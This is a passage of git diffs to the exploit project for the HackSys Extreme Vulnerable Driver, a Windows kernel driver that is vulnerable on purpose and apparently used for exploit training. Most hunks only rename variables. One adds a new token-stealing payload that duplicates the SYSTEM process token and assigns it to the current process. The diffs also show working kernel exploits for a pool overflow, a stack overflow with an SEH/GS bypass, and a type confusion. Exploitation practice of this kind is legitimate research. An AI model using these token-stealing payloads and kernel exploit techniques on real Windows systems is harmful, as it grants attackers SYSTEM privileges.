OutputDebugString("****************Kernel Mode****************\n"); diff --git a/Exploit/Source/NullPointerDereference.h b/Exploit/Source/NullPointerDereference.h index c827d3c..fcb770c 100644 --- a/Exploit/Source/NullPointerDereference.h +++ b/Exploit/Source/NullPointerDereference.h @@ -55,6 +55,6 @@ Abstract: #include "Common.h" - DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter); + DWORD WINAPI NullPointerDereferenceThread(LPVOID Parameter); #endif //__NULL_POINTER_DEREFERENCE_H__ diff --git a/Exploit/Source/Payloads.c b/Exploit/Source/Payloads.c index 3edca8a..54e9b68 100644 --- a/Exploit/Source/Payloads.c +++ b/Exploit/Source/Payloads.c @@ -205,3 +205,63 @@ VOID TokenStealingPayloadPoolOverflowWin7() { mov eax, 0x1 } } + +VOID TokenStealingPayloadDuplicateToken() { + // 1. Get handle to SYSTEM process + // 2. Get the token of SYSTEM process + // 3. Duplicate the token + // 4. Set current process token to new privileged token + // Examples: + // http://j00ru.vexillium.org/?p=1272 + // http://www.wasm.ru/forum/viewtopic.php?id=29591 + // + HMODULE hModule = NULL; + CLIENT_ID ClientId = { 0 }; + HANDLE hSystemProcess = NULL; + PEPROCESS CurrentProcess = NULL; + HANDLE hSystemProcessToken = NULL; + HANDLE hNewPrivilegedToken = NULL; + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; + PROCESS_ACCESS_TOKEN AccessToken = { 0 }; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + + ClientId.UniqueProcess = (HANDLE)0x4; + + InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); + NtStatus = ZwOpenProcess(&hSystemProcess, GENERIC_ALL, &ObjectAttributes, &ClientId); + + NtStatus = ZwOpenProcessToken(hSystemProcess, GENERIC_ALL, &hSystemProcessToken); + + InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); + NtStatus = ZwDuplicateToken(hSystemProcessToken, + TOKEN_ALL_ACCESS, + &ObjectAttributes, + TRUE, + TokenPrimary, + &hNewPrivilegedToken); + + AccessToken.Token = hNewPrivilegedToken; + + // Fix the issue with PrimaryTokenFrozen + CurrentProcess = PsGetCurrentProcess(); + + // Now set PrimaryTokenFrozen to NULL + CurrentProcess->PrimaryTokenFrozen = 0; + + NtStatus = ZwSetInformationProcess(GetCurrentProcess(), + ProcessAccessToken, + &AccessToken, + sizeof(AccessToken)); + + if (hNewPrivilegedToken) { + ZwClose(hNewPrivilegedToken); + } + + if (hSystemProcessToken) { + ZwClose(hSystemProcessToken); + } + + if (hSystemProcess) { + ZwClose(hSystemProcess); + } +} diff --git a/Exploit/Source/Payloads.h b/Exploit/Source/Payloads.h index 7d10e36..a6e5ab2 100644 --- a/Exploit/Source/Payloads.h +++ b/Exploit/Source/Payloads.h @@ -64,6 +64,7 @@ Abstract: VOID TokenStealingPayloadWin7(); VOID TokenStealingPayladGSWin7(); VOID TokenStealingPayloadWin7Generic(); + VOID TokenStealingPayloadDuplicateToken(); VOID TokenStealingPayloadPoolOverflowWin7(); #endif //__PAYLOADS_H__ diff --git a/Exploit/Source/PoolOverflow.c b/Exploit/Source/PoolOverflow.c index 2da2e7d..86c0320 100644 --- a/Exploit/Source/PoolOverflow.c +++ b/Exploit/Source/PoolOverflow.c @@ -53,20 +53,22 @@ Abstract: VOID SprayNonPagedPoolWithEventObjects() { UINT32 i = 0; - RtlFillMemory(hEventObjectArrayA, sizeof(hEventObjectArrayA), 0x0); - RtlFillMemory(hEventObjectArrayB, sizeof(hEventObjectArrayB), 0x0); + RtlFillMemory(EventObjectArrayA, sizeof(EventObjectArrayA), 0x0); + RtlFillMemory(EventObjectArrayB, sizeof(EventObjectArrayB), 0x0); for (i = 0; i < 10000; i++) { - hEventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL); - if (!hEventObjectArrayA[i]) { + EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL); + + if (!EventObjectArrayA[i]) { DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } for (i = 0; i < 5000; i++) { - hEventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL); - if (!hEventObjectArrayB[i]) { + EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL); + + if (!EventObjectArrayB[i]) { DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -79,7 +81,7 @@ VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() { for (i = 0; i < 5000; i += 16) { for (j = 0; j < 8; j++) { - if (!CloseHandle(hEventObjectArrayB[i + j])) { + if (!CloseHandle(EventObjectArrayB[i + j])) { DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -92,7 +94,7 @@ VOID FreeEventObjects() { UINT32 j = 0; for (i = 0; i < 10000; i++) { - if (!CloseHandle(hEventObjectArrayA[i])) { + if (!CloseHandle(EventObjectArrayA[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -100,7 +102,7 @@ VOID FreeEventObjects() { for (i = 8; i < 5000; i += 16) { for (j = 0; j < 8; j++) { - if (!CloseHandle(hEventObjectArrayB[i + j])) { + if (!CloseHandle(EventObjectArrayB[i + j])) { DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -108,14 +110,14 @@ VOID FreeEventObjects() { } } -DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { +DWORD WINAPI PoolOverflowThread(LPVOID Parameter) { + ULONG BytesReturned; HANDLE hFile = NULL; - PVOID pMemory = NULL; - ULONG bytesReturned; - PULONG pUserModeBuffer = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadPoolOverflowWin7; - SIZE_T userModeBufferSize = (ULONG)(POOL_BUFFER_SIZE + TYPE_INDEX_OVERWRITE); + PVOID Memory = NULL; + PULONG UserModeBuffer = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadPoolOverflowWin7; + SIZE_T UserModeBufferSize = (ULONG)(POOL_BUFFER_SIZE + TYPE_INDEX_OVERWRITE); __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -129,9 +131,9 @@ DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -146,17 +148,17 @@ DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); // Allocate the Heap chunk - pUserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - userModeBufferSize); + UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + UserModeBufferSize); - if (!pUserModeBuffer) { + if (!UserModeBuffer) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserModeBuffer); - DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", userModeBufferSize); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer); + DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize); } DEBUG_INFO("\t\t[+] Mapping Null Page\n"); @@ -168,41 +170,41 @@ DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); - RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41); + RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41); // Restore POOL_HEADER and set TypeIndex to 0x00 (TypeIndex is UChar) - pMemory = (PVOID)((ULONG)pUserModeBuffer + (ULONG)POOL_BUFFER_SIZE); - *(PULONG)pMemory = (ULONG)0x04080040; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0xee657645; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000000; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000040; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000000; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000000; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000001; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000001; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00000000; - pMemory = (PVOID)((ULONG)pMemory + 0x4); - *(PULONG)pMemory = (ULONG)0x00080000; + Memory = (PVOID)((ULONG)UserModeBuffer + (ULONG)POOL_BUFFER_SIZE); + *(PULONG)Memory = (ULONG)0x04080040; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0xee657645; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000000; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000040; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000000; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000000; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000001; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000001; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00000000; + Memory = (PVOID)((ULONG)Memory + 0x4); + *(PULONG)Memory = (ULONG)0x00080000; DEBUG_INFO("\t\t\t[+] TypeIndex Of Event Object Set To: 0x0\n"); DEBUG_INFO("\t\t[+] Preparing OBJECT_TYPE_INITIALIZER At Null Page\n"); // Set the DeleteProcedure to the address of our payload - *(PULONG)0x00000060 = (ULONG)pEopPayload; + *(PULONG)0x00000060 = (ULONG)EopPayload; DEBUG_INFO("\t\t\t[+] DeleteProcedure: 0x%X\n", *(PULONG)0x00000060); DEBUG_INFO("\t\t\t[+] DeleteProcedure Address: 0x%p\n", (ULONG)0x00000060); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n"); @@ -223,11 +225,11 @@ DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { // Allocate the vulnerable buffer in one of the holes we created DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_POOL_OVERFLOW, - (LPVOID)pUserModeBuffer, - (DWORD)userModeBufferSize, + (LPVOID)UserModeBuffer, + (DWORD)UserModeBufferSize, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); @@ -239,7 +241,9 @@ DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) { // Free the NonPaged Pool FreeEventObjects(); - HeapFree(GetProcessHeap(), 0, (LPVOID)pUserModeBuffer); + HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); + + UserModeBuffer = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/PoolOverflow.h b/Exploit/Source/PoolOverflow.h index 346e61a..84583a6 100644 --- a/Exploit/Source/PoolOverflow.h +++ b/Exploit/Source/PoolOverflow.h @@ -58,12 +58,12 @@ Abstract: #define POOL_BUFFER_SIZE 504 #define TYPE_INDEX_OVERWRITE 40 - HANDLE hEventObjectArrayA[10000]; - HANDLE hEventObjectArrayB[5000]; + HANDLE EventObjectArrayA[10000]; + HANDLE EventObjectArrayB[5000]; VOID FreeEventObjects(); VOID SprayNonPagedPoolWithEventObjects(); - DWORD WINAPI PoolOverflowThread(LPVOID lpParameter); + DWORD WINAPI PoolOverflowThread(LPVOID Parameter); VOID CreateHolesInNonPagedPoolByCoalescingEventObjects(); #endif //__POOL_OVERFLOW_H__ diff --git a/Exploit/Source/StackOverflow.c b/Exploit/Source/StackOverflow.c index afed854..62ceac6 100644 --- a/Exploit/Source/StackOverflow.c +++ b/Exploit/Source/StackOverflow.c @@ -50,14 +50,14 @@ Abstract: #include "StackOverflow.h" -DWORD WINAPI StackOverflowThread(LPVOID lpParameter) { +DWORD WINAPI StackOverflowThread(LPVOID Parameter) { HANDLE hFile = NULL; - ULONG bytesReturned; - PVOID pMemoryAddress = NULL; - PULONG pUserModeBuffer = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadWin7; - SIZE_T userModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG); + ULONG BytesReturned; + PVOID MemoryAddress = NULL; + PULONG UserModeBuffer = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadWin7; + SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG); __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -71,9 +71,9 @@ DWORD WINAPI StackOverflowThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -87,30 +87,30 @@ DWORD WINAPI StackOverflowThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); - pUserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - userModeBufferSize); + UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + UserModeBufferSize); - if (!pUserModeBuffer) { + if (!UserModeBuffer) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserModeBuffer); - DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", userModeBufferSize); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer); + DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize); } DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); - RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41); + RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41); - pMemoryAddress = (PVOID)(((ULONG)pUserModeBuffer + userModeBufferSize) - sizeof(ULONG)); - *(PULONG)pMemoryAddress = (ULONG)pEopPayload; + MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG)); + *(PULONG)MemoryAddress = (ULONG)EopPayload; - DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)pMemoryAddress); - DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", pMemoryAddress); + DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress); + DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n"); @@ -118,16 +118,18 @@ DWORD WINAPI StackOverflowThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_STACK_OVERFLOW, - (LPVOID)pUserModeBuffer, - (DWORD)userModeBufferSize, + (LPVOID)UserModeBuffer, + (DWORD)UserModeBufferSize, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); - HeapFree(GetProcessHeap(), 0, (LPVOID)pUserModeBuffer); + HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); + + UserModeBuffer = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/StackOverflow.h b/Exploit/Source/StackOverflow.h index bc0b53c..c2ded42 100644 --- a/Exploit/Source/StackOverflow.h +++ b/Exploit/Source/StackOverflow.h @@ -57,6 +57,6 @@ Abstract: #define RET_OVERWRITE 9 - DWORD WINAPI StackOverflowThread(LPVOID lpParameter); + DWORD WINAPI StackOverflowThread(LPVOID Parameter); #endif //__STACK_OVERFLOW_H__ diff --git a/Exploit/Source/StackOverflowGS.c b/Exploit/Source/StackOverflowGS.c index 922e20c..de79f28 100644 --- a/Exploit/Source/StackOverflowGS.c +++ b/Exploit/Source/StackOverflowGS.c @@ -50,18 +50,18 @@ Abstract: #include "StackOverflowGS.h" -DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) { +DWORD WINAPI StackOverflowGSThread(LPVOID Parameter) { HANDLE hFile = NULL; - ULONG bytesReturned; - SIZE_T pageSize = 0x1000; - HANDLE hSharedmemory = NULL; - PVOID pMemoryAddress = NULL; - PVOID pSuitableMemoryForBuffer = NULL; - SIZE_T seHandlerOverwriteOffset = 0x214; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - LPVOID lpSharedMappedMemoryAddress = NULL; - PVOID pEopPayload = &TokenStealingPayladGSWin7; - LPCTSTR lpSharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME; + ULONG BytesReturned; + SIZE_T PageSize = 0x1000; + HANDLE Sharedmemory = NULL; + PVOID MemoryAddress = NULL; + PVOID SuitableMemoryForBuffer = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + LPVOID SharedMappedMemoryAddress = NULL; + SIZE_T SeHandlerOverwriteOffset = 0x214; + PVOID EopPayload = &TokenStealingPayladGSWin7; + LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME; __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -75,9 +75,9 @@ DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -92,68 +92,68 @@ DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Creating Shared Memory\n"); // Create the shared memory - hSharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE, - NULL, - PAGE_EXECUTE_READWRITE, - 0, - pageSize, - lpSharedMemoryName); + Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE, + NULL, + PAGE_EXECUTE_READWRITE, + 0, + PageSize, + SharedMemoryName); - if (!hSharedmemory) { + if (!Sharedmemory) { DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", hSharedmemory); + DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory); } DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n"); // Map the shared memory in the process space of this process - lpSharedMappedMemoryAddress = MapViewOfFile(hSharedmemory, - FILE_MAP_ALL_ACCESS, - 0, - 0, - pageSize); + SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory, + FILE_MAP_ALL_ACCESS, + 0, + 0, + PageSize); - if (!lpSharedMappedMemoryAddress) { + if (!SharedMappedMemoryAddress) { DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", lpSharedMappedMemoryAddress); + DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress); } - pSuitableMemoryForBuffer = (PVOID)((ULONG)lpSharedMappedMemoryAddress + (ULONG)(pageSize - seHandlerOverwriteOffset)); + SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset)); - DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", pSuitableMemoryForBuffer); + DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer); DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); - RtlFillMemory(lpSharedMappedMemoryAddress, pageSize, 0x41); + RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41); - pMemoryAddress = (PVOID)((ULONG)pSuitableMemoryForBuffer + 0x204); - *(PULONG)pMemoryAddress = 0x42424242; // overwrite xor'ed cookie + MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204); + *(PULONG)MemoryAddress = 0x42424242; // overwrite xor'ed cookie - DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)pMemoryAddress); - DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", pMemoryAddress); + DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)MemoryAddress); + DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", MemoryAddress); - pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4); - *(PULONG)pMemoryAddress = 0x43434343; // junk + MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); + *(PULONG)MemoryAddress = 0x43434343; // junk - pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4); - *(PULONG)pMemoryAddress = 0x44444444; // Next SE handler + MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); + *(PULONG)MemoryAddress = 0x44444444; // Next SE handler - DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)pMemoryAddress); - DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", pMemoryAddress); + DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress); + DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", MemoryAddress); - pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4); - *(PULONG)pMemoryAddress = (ULONG)pEopPayload; // SE Handler + MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); + *(PULONG)MemoryAddress = (ULONG)EopPayload; // SE Handler - DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)pMemoryAddress); - DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", pMemoryAddress); + DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress); + DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS\n"); @@ -161,11 +161,11 @@ DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS, - (LPVOID)pSuitableMemoryForBuffer, - (DWORD)seHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE, + (LPVOID)SuitableMemoryForBuffer, + (DWORD)SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); diff --git a/Exploit/Source/StackOverflowGS.h b/Exploit/Source/StackOverflowGS.h index 933fd86..65413fb 100644 --- a/Exploit/Source/StackOverflowGS.h +++ b/Exploit/Source/StackOverflowGS.h @@ -59,6 +59,6 @@ Abstract: #define RAISE_EXCEPTION_IN_KERNEL_MODE 0x4 #define SHARED_MEMORY_NAME "HackSysExtremeVulnerableDriverSharedMemory" - DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter); + DWORD WINAPI StackOverflowGSThread(LPVOID Parameter); #endif //__STACK_OVERFLOW_GS_H__ diff --git a/Exploit/Source/TypeConfusion.c b/Exploit/Source/TypeConfusion.c index 86420b0..8244414 100644 --- a/Exploit/Source/TypeConfusion.c +++ b/Exploit/Source/TypeConfusion.c @@ -50,12 +50,12 @@ Abstract: #include "TypeConfusion.h" -DWORD WINAPI TypeConfusionThread(LPVOID lpParameter) { +DWORD WINAPI TypeConfusionThread(LPVOID Parameter) { HANDLE hFile = NULL; - ULONG bytesReturned; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadWin7Generic; - PUSER_TYPE_CONFUSION_OBJECT pUserTypeConfusionObject = NULL; + ULONG BytesReturned; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadWin7Generic; + PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = NULL; __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -69,9 +69,9 @@ DWORD WINAPI TypeConfusionThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -86,29 +86,29 @@ DWORD WINAPI TypeConfusionThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For USER_TYPE_CONFUSION_OBJECT\n"); // Allocate the Heap chunk - pUserTypeConfusionObject = (PUSER_TYPE_CONFUSION_OBJECT)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - sizeof(USER_TYPE_CONFUSION_OBJECT)); + UserTypeConfusionObject = (PUSER_TYPE_CONFUSION_OBJECT)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + sizeof(USER_TYPE_CONFUSION_OBJECT)); - if (!pUserTypeConfusionObject) { + if (!UserTypeConfusionObject) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserTypeConfusionObject); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserTypeConfusionObject); DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(USER_TYPE_CONFUSION_OBJECT)); } DEBUG_INFO("\t\t[+] Preparing USER_TYPE_CONFUSION_OBJECT structure\n"); - pUserTypeConfusionObject->objectID = (ULONG)0x01; - pUserTypeConfusionObject->objectType = (ULONG)pEopPayload; + UserTypeConfusionObject->objectID = (ULONG)0x01; + UserTypeConfusionObject->objectType = (ULONG)EopPayload; - DEBUG_INFO("\t\t\t[+] pUserTypeConfusionObject: 0x%p\n", pUserTypeConfusionObject); - DEBUG_INFO("\t\t\t[+] pUserTypeConfusionObject->objectID: 0x%p\n", pUserTypeConfusionObject->objectID); - DEBUG_INFO("\t\t\t[+] pUserTypeConfusionObject->objectType: 0x%p\n", pUserTypeConfusionObject->objectType); + DEBUG_INFO("\t\t\t[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject); + DEBUG_INFO("\t\t\t[+] UserTypeConfusionObject->objectID: 0x%p\n", UserTypeConfusionObject->objectID); + DEBUG_INFO("\t\t\t[+] UserTypeConfusionObject->objectType: 0x%p\n", UserTypeConfusionObject->objectType); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Kernel Type Confusion\n"); @@ -116,16 +116,18 @@ DWORD WINAPI TypeConfusionThread(LPVOID lpParameter) { DeviceIoControl(hFile, 